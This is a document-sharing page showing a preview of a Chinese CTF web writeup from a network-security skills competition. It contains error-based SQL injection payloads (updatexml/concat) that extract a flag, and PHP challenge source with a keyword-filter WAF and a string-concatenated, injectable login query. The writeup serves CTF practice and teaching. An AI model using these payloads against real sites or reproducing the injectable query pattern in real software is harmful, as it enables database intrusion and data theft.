没有合适的资源？快使用搜索试试~ 我知道了~

文库首页安全技术网络安全网络安全管理职业技能竞赛Web writeup_合天网安学院-程序员宝宝 - 程序员宝宝1

网络安全管理职业技能竞赛Web writeup_合天网安学院-程序员宝宝 - 程序员宝宝1

网络安全

需积分: 0 1 下载量 70 浏览量 2022-08-03 16:48:50 上传评论收藏 942KB PDF 举报

温馨提示

试读

12页

网络安全管理职业技能竞赛Web writeup_合天网安学院-程序员宝宝 - 程序员宝宝1

资源详情

资源评论

资源推荐

网络安全管理职业技能竞赛Web writeup_合

天网安学院-程序员宝宝 - 程序员宝宝

网络安全管理职业技能竞赛 Web writeup_合天网安学院

- 程序员宝宝

技术标签：extCTFnagiosado.netsdlopenssh

如果你也想练习 CTF，请点击CTF 实验室

Web

0x01 easy_sql

一开始看到是 easysql，那就先上 sqlmap 跑跑看，跑出了数据库名 security 以及若干表名

继续跑 flag，结果没跑出来，最后还是上手工了。

测试输入一个单引号，页面无反应，但是在源码中发现了又报错信息

接着用单引号和括号闭合，报错注入，之后想了一下，为什么页面没有回显呢，原来是因为错误信

息居然显示白色，前期被骗了很久，用鼠标描一下即可看到。

uname=aaa') or updatexml(1,concat(0x7e,mid((select * from

flag),1,25)),1)%23&passwd=bbbb

0x02 ezsqli

开局一个输入框

uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from

flag),23,50)),1)%23&passwd=bbbb

查看 hint 得到源码

//a "part" of the source code here

function sqlWaf($s)

{

$filter =

|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';

if (preg_match($filter,$s))

return False;

return True;

}

if (isset($_POST['username']) && isset($_POST['password'])) {

if (!isset($_SESSION['VerifyCode']))

die("?");

$username = strval($_POST['username']);

$password = strval($_POST['password']);

if ( !sqlWaf($password) )

alertMes('damn hacker' ,"./index.php");

$sql = "SELECT * FROM users WHERE username='${username}' AND password=

'${password}'";

// password format: /[A-Za-z0-9]/

$result = $conn->query($sql);

剩余11页未读，继续阅读

内容反馈

天使的梦魇

粉丝: 29
资源: 321

上传资源快速赚钱

我的内容管理展开

我的资源快来上传第一个资源

我的收益

登录查看自己的收益

我的积分登录查看自己的积分

我的C币登录后查看C币余额

我的收藏

我的下载

下载帮助

前往需求广场，查看用户热搜

网络安全管理职业技能竞赛Web writeup_合天网安学院-程序员宝宝 - 程序员宝宝1

评论0

最新资源

网络安全管理职业技能竞赛Web writeup_合天网安学院-程序员宝宝 - 程序员宝宝1

评论0

网络安全管理职业技能竞赛Web writeup1

山东省大学生网络安全技能大赛决赛Writeup.pdf

空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透1

2018第二届强网杯线上赛ctf web writeup（难度较大）-b64_c3VuJTIwYm95-it720.docx

ADS Writeup_2_ads_

ADS Writeup_ads_

ADS Writeup_1_ads_

ReverseRSA_writeup_rsa_appprivatekey_解密_

[2021东华杯]Web Writeup1

writeup_knkl_

第四届红帽杯网络安全大赛-线上赛Writeup1

竞赛资料源码-2018全国大学生信息安全竞赛web题出题docker+writeup.zip

2022-工大抗疫-web-writeup1

GKCTF2021-官方WriteUp.pdf

2019ISCC writeup(相对简单)-b64_c3VuJTIwYm95-it720.docx

us-17-Gil-Web-Cache-Deception-Attack-wp.pdf

2018全国大学生信息安全竞赛web题出题docker+writeup.zip

最新版ISO/IEC 27001:2022、ISO 27002:2022中英文合集

Goby红队版-win-x64-2.4.7版本

Chrome Header Editor 插件

ISO SAE 21434-2021 中文版.pdf

OpenVAS GVM 中文翻译补丁

安全认证cisp教材全套

现代永磁同步电机控制原理及MATLAB仿真__袁雷编著1

2024最新：Hvv中常见的面试问题

全面的安全基线核查清单

OpenVAS离线资源

最新资源